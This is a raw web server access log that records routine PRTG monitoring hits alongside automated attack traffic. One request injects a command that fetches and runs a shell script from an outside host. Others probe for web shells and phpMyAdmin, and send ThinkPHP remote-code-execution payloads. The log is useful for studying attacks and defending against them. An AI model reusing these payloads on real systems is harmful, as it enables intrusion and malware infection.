212.91.246.72 - - [29/Feb/2020:17:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.172.105.234 - - [29/Feb/2020:17:30:43 +0100] "GET /admin/config.php?password%5B0%5D=ZIZO&username=admin HTTP/1.1" 404 321 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-957.27.2.el7.x86_64"
212.91.246.72 - - [29/Feb/2020:17:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [29/Feb/2020:17:35:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [29/Feb/2020:17:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [29/Feb/2020:17:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.172.105.234 - - [29/Feb/2020:17:38:15 +0100] "GET /admin/config.php?password%5B0%5D=ZIZO&username=admin HTTP/1.1" 404 321 "-" "python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-957.27.2.el7.x86_64"
212.91.246.72 - - [29/Feb/2020:17:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.45.103.236 - - [29/Feb/2020:17:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
103.45.103.236 - - [29/Feb/2020:17:39:26 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
103.45.103.236 - - [29/Feb/2020:17:39:27 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
103.45.103.236 - - [29/Feb/2020:17:39:27 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
103.45.103.236 - - [29/Feb/2020:17:39:28 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
103.45.103.236 - - [29/Feb/2020:17:39:40 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
212.91.246.72 - - [29/Feb/2020:17:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.45.103.236 - - [29/Feb/2020:17:39:56 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
209.225.108.186 - - [29/Feb/2020:17:40:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
103.45.103.236 - - [29/Feb/2020:17:40:03 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
103.45.103.236 - - [29/Feb/2020:17:40:10 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
103.45.103.236 - - [29/Feb/2020:17:40:17 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
103.45.103.236 - - [29/Feb/2020:17:40:21 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:21 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:21 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:21 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:23 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:23 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:24 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:25 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:26 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:26 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:26 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:27 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:27 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:27 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:27 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:28 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:28 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:28 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:28 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:29 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:29 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:29 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:30 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:30 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:31 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:31 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:31 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:31 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:32 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:32 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:33 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:33 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:37 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:41 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:41 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:42 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [29/Feb/2020:17:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.45.103.236 - - [29/Feb/2020:17:40:43 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:44 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:44 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:45 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:45 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:45 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:46 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:46 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:47 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:47 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:47 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:48 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:48 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:48 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:48 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:49 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:49 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:50 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:50 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:51 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:54 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:58 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:59 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:40:59 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:00 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:00 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:00 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:01 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:01 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:05 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:05 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:05 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:06 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:06 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:06 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:06 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:07 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:07 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:07 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:11 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:11 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:12 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:12 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:12 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:13 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:13 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:13 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:13 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:14 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:14 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:15 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:15 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:16 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:16 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:16 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:17 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:17 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:18 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:21 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:21 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:21 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:22 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
103.45.103.236 - - [29/Feb/2020:17:41:23 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
